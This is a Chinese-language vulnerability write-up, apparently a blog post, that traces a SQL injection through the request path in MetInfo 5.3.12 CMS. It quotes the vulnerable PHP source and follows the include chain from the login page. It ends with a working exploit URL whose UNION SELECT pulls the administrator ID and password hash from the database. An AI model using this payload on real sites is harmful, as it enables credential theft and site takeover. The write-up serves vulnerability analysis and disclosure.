MetInfo 5.3.12 注入漏洞

  • 发表于
  • Vulndb

最新版尝试通过,具体的版本为5.3.12

这是一个比较老的漏洞了,不知道为什么,metinfo 还是没有修复,网上的介绍都比较简单,我这里就详细的解释一下

\app\system\include\compatible\metv5_top.php

//获取当前应用栏目信息
$PHP_SELF = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$PHP_SELFs = explode('/', $PHP_SELF);
print_r($PHP_SELFs);
$query = "SELECT * FROM {$_M['table'][column]} where module!=0 and foldername = '{$PHP_SELFs[count($PHP_SELFs)-2]}' and lang='{$_M['lang']}'";
$column = DB::get_one($query);

这里调用了 $_SERVER[‘SCRIPT_NAME’] 去获取网站路径,但是这里有一个问题就是,路径中并没有waf 处理,可以导致一些安全问题,
代码里面就直接 explode 函数对路径进行了切割,这里取出了倒数第二个参数,并且未经过处理就带入了 sql 语句里面,
我们看看 这个文件的剩下的一些代码

$met_module =$column['module'];
if($met_module > 1000){
//设置SEO参数
switch($_M['config']['met_title_type']){
case 0:
$webtitle = '';
break;
case 1:
$webtitle = $_M['config']['met_keywords'];
break;
case 2:
$webtitle = $_M['config']['met_webname'];
break;
case 3:
$webtitle = $_M['config']['met_keywords'].'-'.$_M['config']['met_webname'];
}
$met_title = $webtitle;

$met_title = $met_title?$column['name'].'-'.$met_title:$column['name'];
$met_title = $column['ctitle'] ? $column['ctitle'] : $met_title;
$show['description']=$column['description']?$column['description']:$_M['config']['met_description'];
$show['keywords']=$column['keywords']?$column['keywords']:$_M['config']['met_keywords'];

$met_module =$column['module'];

$classnow = $column['id'];
$class1 = $column['id'];
if($column['releclass']){
$class1 = $column['bigclass'];
}
}else{
if(!$class1 && !$class2 && !$class3 && !$metid){
//$classnow = $column['id'];
$class1 = $column['id'];
if($column['releclass']){
$class1 = $column['bigclass'];
} 
}

}
//设置网站根
define('ROOTPATH', PATH_WEB);
function is_letf_exists($left){
global $_M;
//$left = array('sidebar');
$file = PATH_TEM.$left;
if(file_exists($file.'.php')||file_exists($file.'.html')){
return true;
}
return false;
}
//把$_M数组,DB转换成旧系统变量写法
foreach($_M['config'] as $key => $val){
$$key=$val;
}
foreach($_M['table'] as $key => $val){
$k="met_{$key}";
$$k=$val;
}
foreach($_M['word'] as $key => $val){
$k="lang_{$key}";
$$k=$val;
}

$lang=$_M['lang'];

$db = new DB();

//global $index_url,$lang_home,$nav_list,$nav_list2,$nav_list3,$navdown,$lang;

//页面模板参数设置
$met_chtmtype=".".$met_htmtype;
$met_htmtype=($lang==$met_index_type)?".".$met_htmtype:"_".$lang.".".$met_htmtype;
$langmark='lang='.$_M['lang'];

$met_langadmin=$_M['langlist']['admin'];

$met_langok=$_M['langlist']['web'];

$index_url=$_M['langlist']['web'][$_M['lang']]['met_weburl'];

$m_now_year = date('Y');

$member_index_url="index.php?lang=".$lang;
$member_register_url="register_include.php?lang=".$lang;

//2.0
$index_c_url=$met_index_url[cn];
$index_e_url=$met_index_url[en];
$index_o_url=$met_index_url[other];

//2.0
$searchurl =$met_weburl."search/search.php?lang=".$lang;
$file_basicname=PATH_WEB."lang/language_".$lang.".ini";
$file_name =PATH_WEB."templates/".$met_skin_user."/lang/language_".$lang.".ini";
$str="";
//
//语言数组设置
foreach($met_langok as $key=>$val){
$indexmark=($val[mark]==$met_index_type)?"index.":"index_".$val[mark].".";
$val[met_weburl]=$val[met_weburl]<>""?$val[met_weburl]:$met_weburl;
$val[met_htmtype]=$val[met_htmtype]<>""?$val[met_htmtype]:$met_htmtype;
if($val[useok]){
$met_index_url[$val[mark]]=$val[met_webhtm]?$val[met_weburl].$indexmark.$val[met_htmtype]:$val[met_weburl]."index.php?lang=".$val[mark];
if($val[met_webhtm]==3)$met_index_url[$val['mark']] = $val['met_weburl'].'index-'.$val['mark'].'.html';
if($htmpack){
$navurls = $index=='index'?'':'../';
$met_index_url[$val['mark']]=$navurls.$indexmark.$val['met_htmtype'];
}
if($val[mark]==$met_index_type)$met_index_url[$val[mark]]=$val[met_weburl];
if($htmpack && $val[mark]==$met_index_type){
$met_index_url[$val[mark]]=$navurls;
}
if($val[link]!="")$met_index_url[$val[mark]]=$val[link];
if(!strstr($val[flag], 'http://')){
$navurls = $index=='index'?'':'../';
if($index=="index"&&strstr($val[flag], '../')){
$met_langlogoarray=explode("../",$val[flag]);
$val[flag]=$met_langlogoarray[1];
}
if(!strstr($val[flag], 'http://')&&!strstr($val[flag], 'public/images/flag/'))$val[flag]=$navurls.'public/images/flag/'.$val[flag];
}
$met_langok[$val[mark]]=$val;
}
}

$tmpincfile=PATH_WEB."templates/{$_M[config][met_skin_user]}/metinfo.inc.php";
require $tmpincfile;
//flash设置数组
$met_flasharray = $_M['flashset'];
$m_now_time = time();
$m_now_date = date('Y-m-d H:i:s',$m_now_time);
$m_now_counter= date('Ymd',$m_now_time);
$m_now_month= date('Ym',$m_now_time);
$m_now_year = date('Y',$m_now_time);
//公用数据处理文件与模板标签文件处理
if($met_module && $met_module > 1000){
require_once PATH_WEB.'include/head.php';
}

//把上面赋值的变量与数组转成全局数组
$vars2=array_keys(get_defined_vars());
$a2=get_defined_vars();
foreach($vars2 as $key => $val){
global $$val;
$$val=$a2[$val];
}
//dump($_M['form']);
//echo $metid;
if($met_module && $met_module < 1000){
if(isset($murlid)){
require_once PATH_WEB.'include/htmlurl.php';
}
if($metid){
global $filpy,$fmodule,$cmodule;
require PATH_WEB."include/module.php";
}
if($met_module == 3){
if(M_CLASS == 'product_show'){
$mdname = 'product';
$showname = 'showproduct';
$dbname = $met_product;
$listnum = $met_product_list;
$imgproduct = 'product';
require_once PATH_WEB.'/include/global/showmod.php';
$product = $news;
$product_list_new= $md_list_new;
$product_class_new = $md_class_new;
$product_list_com= $md_list_com;
$product_class_com = $md_class_com;
$product_class = $md_class;
$product_list= $md_list;
require_once PATH_WEB.'public/php/producthtml.inc.php';
}else{
$mdname = 'product';
$showname = 'showproduct';
$dbname = $met_product;
$dbname_list = $met_product_list;
$mdmendy = 1;
$imgproduct = 'product';
$class1re = '';
require_once PATH_WEB."include/global/listmod.php";
$product_listnow = $modlistnow;
$product_list_new= $md_list_new;
$product_class_new = $md_class_new;
$product_list_com= $md_list_com;
$product_class_com = $md_class_com;
$product_class = $md_class;
$product_list= $md_list;
require_once PATH_WEB.'public/php/producthtml.inc.php';
}

}
}
require_once PATH_WEB."public/php/methtml.inc.php";
if(!function_exists('rgb2hex')){
require_once PATH_WEB."public/php/waphtml.inc.php";
function toHex($N) {
if ($N==NULL) return "00";
if ($N==0) return "00";
$N=max(0,$N);
$N=min($N,255);
$N=round($N);
$string = "0123456789ABCDEF";
$val = (($N-$N%16)/16);
$s1 = $string{$val};
$val = ($N%16);
$s2 = $string{$val};
return $s1.$s2;
}

function rgb2hex($r,$g,$b){
return toHex($r).toHex($g).toHex($b);
}

function hex2rgb($N){
$dou = str_split($N,2);
return array(
"R" => hexdec($dou[0]),
"G" => hexdec($dou[1]),
"B" => hexdec($dou[2])
);
}
}
//页面内容区块顶部导航处理,左侧导航调用系统时候生效,自定义无效。
if($met_module && $met_module > 1000){
if($class_list[$classnow]['releclass']){
$pre_class = $class_list[$classnow]['bigclass'];
//dump($class_list[$classnow]);
if($class_list[$pre_class][new_windows] == 0)$class_list[$pre_class][new_windows] = '_self';
$nav_x[name]="<a href=\"{$class_list[$pre_class][url]}\" target=\"{$class_list[$pre_class][new_windows]}\">{$class_list[$pre_class][name]}</a> > ";
}

$nav_x[name].="<a href=\"{$class_list[$classnow][url]}\" target=\"{$class_list[$classnow][new_windows]}\">{$class_list[$classnow][name]}</a>";
}

//把上面赋值的变量与数组转成全局数组
$vars3=array_keys(get_defined_vars());
$a3=get_defined_vars();
foreach($vars3 as $key => $val){
if(!isset($a2[$val])){
global $$val;
$$val=$a3[$val];
}
}
$met_title = $_M['plugin']['para']['met_title'] ? $_M['plugin']['para']['met_title'] : $met_title;
$show['description'] = $_M['plugin']['para']['met_description'] ? $_M['plugin']['para']['met_description'] : $show['description'];
$show['keywords'] = $_M['plugin']['para']['met_keywords'] ? $_M['plugin']['para']['met_keywords'] : $show['keywords'];
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.

这里将数据库查询获取的参数写入了系统变量,并且我们看里面重要的的代码

//公用数据处理文件与模板标签文件处理
if($met_module && $met_module > 1000){
require_once PATH_WEB.'include/head.php';
}

最后调用了一 \app\system\web\user\templates\met\head.php

<html>
<head>
<meta charset="utf-8" />
<title>{$_M['tem_data']['title']}</title>
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" name="viewport" />
<meta name="generator" content="MetInfo"data-variable="{$_M[url][site]}|{$_M[lang]}|{$classnow}|{$id}|{$class_list[$classnow][module]}|{$_M[config][met_skin_user]}" />
<link href="{$_M['url']['site']}favicon.ico" rel="shortcut icon" />
<link rel="stylesheet" type="text/css" href="{$_M['url']['pub']}bootstrap/css/bootstrap.min.css" />

这里的 data-variable=”{$_M[url][site]}|{$_M[lang]}|{$classnow}|{$id}|{$class_list[$classnow][module]}|{$_M[config][met_skin_user]}”就是
将系统参数写入网页head头了,所以我们可以看见回显,下面只用找到一个点包含这个文件,就完成了触发了
我们来看一个漏洞的触发点
\member\login.php

<?php
# MetInfo Enterprise Content Management System 
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 

//接口
if(@!$_GET['a'])$_GET['a']="doindex";
@define('M_NAME', 'user');
@define('M_MODULE', 'web');
@define('M_CLASS', 'login');
@define('M_ACTION', $_GET['a']);
require_once '../app/system/entrance.php';
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

继续跟进 \app\system\entrance.php

<?php
# MetInfo Enterprise Content Management System 
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 

//版本号
define ('SYS_VER', 'beta 1.101');
define ('SYS_VER_TIME', '20150511');

header("Content-type: text/html;charset=utf-8");

error_reporting(E_ERROR | E_PARSE | E_CORE_ERROR |E_COMPILE_ERROR | E_USER_ERROR );
//error_reporting(E_ALL);
PHP_VERSION >= '5.1' && date_default_timezone_set('Asia/Shanghai');

@set_time_limit(0);

define('IN_MET', true);

//网站根目录
define ('PATH_WEB', substr(dirname(__FILE__),0,-10));
//应用开发包根目录
define ('PATH_APP', PATH_WEB."app/");
//应用文件根目录
define ('PATH_ALL_APP', PATH_WEB."app/app/");
//配置文件根目录
define ('PATH_CONFIG', PATH_WEB."config/");
//缓存文件根目录
define ('PATH_CACHE', PATH_WEB."cache/");
//应用开发框架内核根目录
define ('PATH_SYS', PATH_APP."system/");

//系统类根目录
define ('PATH_SYS_CLASS', PATH_WEB."app/system/include/class/");
//系统方法根目录
define ('PATH_SYS_FUNC', PATH_WEB."app/system/include/function/");
//系统模板公用文件根目录
define ('PATH_SYS_PUBLIC', PATH_WEB."app/system/include/public/");
//系统模块根目录
define ('PATH_SYS_MODULE', PATH_WEB."app/system/include/module/");

if (!defined('M_TYPE')) {
if(file_exists(PATH_APP.'app/'.M_NAME.'/')&&M_NAME){
define('M_TYPE', 'app');
}else{
define('M_TYPE', 'system');
}
}

if (!defined('M_MODULE')) {
define ('M_MODULE', 'include');
define ('M_CLASS', $_GET['c']);
define ('M_ACTION', $_GET['a']);
}
//当前文件夹地址
if(M_TYPE == 'system'){
if(M_MODULE == 'include'){
define ('PATH_OWN_FILE', PATH_APP.M_TYPE.'/'.M_MODULE.'/module/');
}else{
define ('PATH_OWN_FILE', PATH_APP.M_TYPE.'/'.M_MODULE.'/'.M_NAME.'/');
}
}else{
define ('PATH_OWN_FILE', PATH_APP.M_TYPE.'/'.M_NAME.'/'.M_MODULE.'/');
define ('PATH_APP_FILE', PATH_APP.M_TYPE.'/'.M_NAME.'/');
}

define ('PATH_MODULE_FILE', PATH_APP.'system'.'/'.M_MODULE.'/');
//程序运行开始时间
define ('TIME_SYS_START', time());
//表单变量自动过滤
define ('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());

//当前访问的主机名
define ('HTTP_HOST', $_SERVER['HTTP_HOST']);
//来源页面
define('HTTP_REFERER', $_SERVER['HTTP_REFERER']);
//脚本路径
define ('PHP_SELF', $_SERVER['PHP_SELF']=="" ? $_SERVER['SCRIPT_NAME'] : $_SERVER['PHP_SELF']);

if (!preg_match('/^[A-Za-z0-9_]+$/', M_TYPE.M_NAME.M_MODULE.M_CLASS.M_ACTION)) {
echo 'Constants must be numbers or letters or underlined';
die();
}

require_once PATH_SYS_CLASS.'load.class.php';

load::module();
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

继续跟进 load::module() \app\system\include\class\load.class.php

public static function module($path = '', $modulename = '', $action = '') {
if (!$path) {
if (!$path) $path = PATH_OWN_FILE;
if (!$modulename) $modulename = M_CLASS;
if (!$action) $action = M_ACTION;
if (!$action) $action = 'doindex';
}

return self::_load_class($path, $modulename, $action);
}

跟进 _load_class()

 private static function _load_class($path, $classname, $action = '') {
$classname=str_replace('.class.php', '', $classname);
$is_myclass = 0;
if(!self::$mclass[$classname]){
if(file_exists($path.$classname.'.class.php')){
require_once $path.$classname.'.class.php';
} else {
echo str_replace(PATH_WEB, '', $path).$classname.'.class.php is not exists';
exit;
}
$myclass = "my_{$classname}";
if (file_exists($path.'myclass/'.$myclass.'.class.php')) {
$is_myclass = 1;
require_once $path.'myclass/'.$myclass.'.class.php';
} 
}
if ($action) {
if (!class_exists($classname)) {
die($action.' class\'s file is not exists!!!');
}
if(self::$mclass[$classname]){
$newclass = self::$mclass[$classname];
}else{
if($is_myclass){
$newclass = new $myclass;
}else{
$newclass = new $classname;
}
self::$mclass[$classname] = $newclass;
}
if ($action!='new') {
if(substr($action, 0, 2) != 'do'){
die($action.' function no permission load!!!');
}
if(method_exists($newclass, $action)){
//var_dump($action);
//var_dump($newclass);
call_user_func(array($newclass, $action));
}else{
die($action.' function is not exists!!!');
}
}
return $newclass;
}
returntrue;
}

这里的代码先就是基础的赋值这些的,最重要的是 call_user_func(array($newclass, $action)); 这行代码,里面的值我打印出来了 如下图

Metinfo注入漏洞

call_user_func 函数可以实例化 且 调用你传入的方法,也可以传参,这里只是实例化后调用方法,我们继续
\app\system\web\user\login.class.php

 public function doindex() {
global $_M;
$session = load::sys_class('session', 'new');

// 如果已登录直接跳转到个人中心
if($_M['user'])
{
okinfo($_M['url']['user_home']);
}
// 如果从其他页面过来
if(isset($_SERVER['HTTP_REFERER']))
{ 
// 是否从本站过来
$referer = parse_url($_SERVER['HTTP_REFERER']);
if($referer['host']==$_SERVER['HTTP_HOST'])
{
// 来源页面保存到cookie
setcookie("referer",$_SERVER['HTTP_REFERER']);
}
}
if($session->get("logineorrorlength")>3)$code=1;
require_once $this->template('tem/login');
}

我们继续跟进最后一串代码 require_once $this->template(‘tem/login’);
\app\system\web\user\class\userweb.class.php

 protected function template($path){
global $_M;
list($postion, $file) = explode('/',$path);
if ($postion == 'own') {
return PATH_OWN_FILE."templates/met/{$file}.php";
}
if ($postion == 'ui') {
return PATH_SYS."include/public/ui/web/{$file}.php";
}
if($postion == 'tem'){
if($_M['custom_template']['sys_content']){
$flag = 1;
}else{
$flag = 0;
}
if (file_exists(PATH_TEM."user/{$file}.php")) {
$_M['custom_template']['sys_content'] = PATH_TEM."user/{$file}.php";
}else{
if (file_exists(PATH_SYS."web/user/templates/met/{$file}.php")) {
$_M['custom_template']['sys_content'] = PATH_SYS."web/user/templates/met/{$file}.php";
}
}
if($flag == 1){
return $_M['custom_template']['sys_content'];
}else{
return $this->template('ui/compatible');
}

} 

}

最后返回了 \app\system\include\public\ui\web\compatible.php 文件的路径 , 在上面的login.class.php 的代码里完成了包含,
\app\system\include\public\ui\web\compatible.php

<?php
# MetInfo Enterprise Content Management System 
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 

defined('IN_MET') or exit('No permission');

/*兼容标签*/

require_once PATH_WEB.'app/system/include/compatible/metv5_top.php';
require_once $_M['custom_template']['sys_content'];

# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

哈哈 ,这里就包含了我们最开始的漏洞点 metv5_top.php,也就是我们控制路径传入的值,就会造成注入了
exp:

http://127.0.0.1:82/MetInfo5.3/member/login.php/aa'UNION SELECT (select concat(admin_id,0x23,admin_pass) from met_admin_table limit 1),2,3,4,5,6,1111,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%23/aa

右键查看源码就可以看见结果了

Metinfo漏洞

via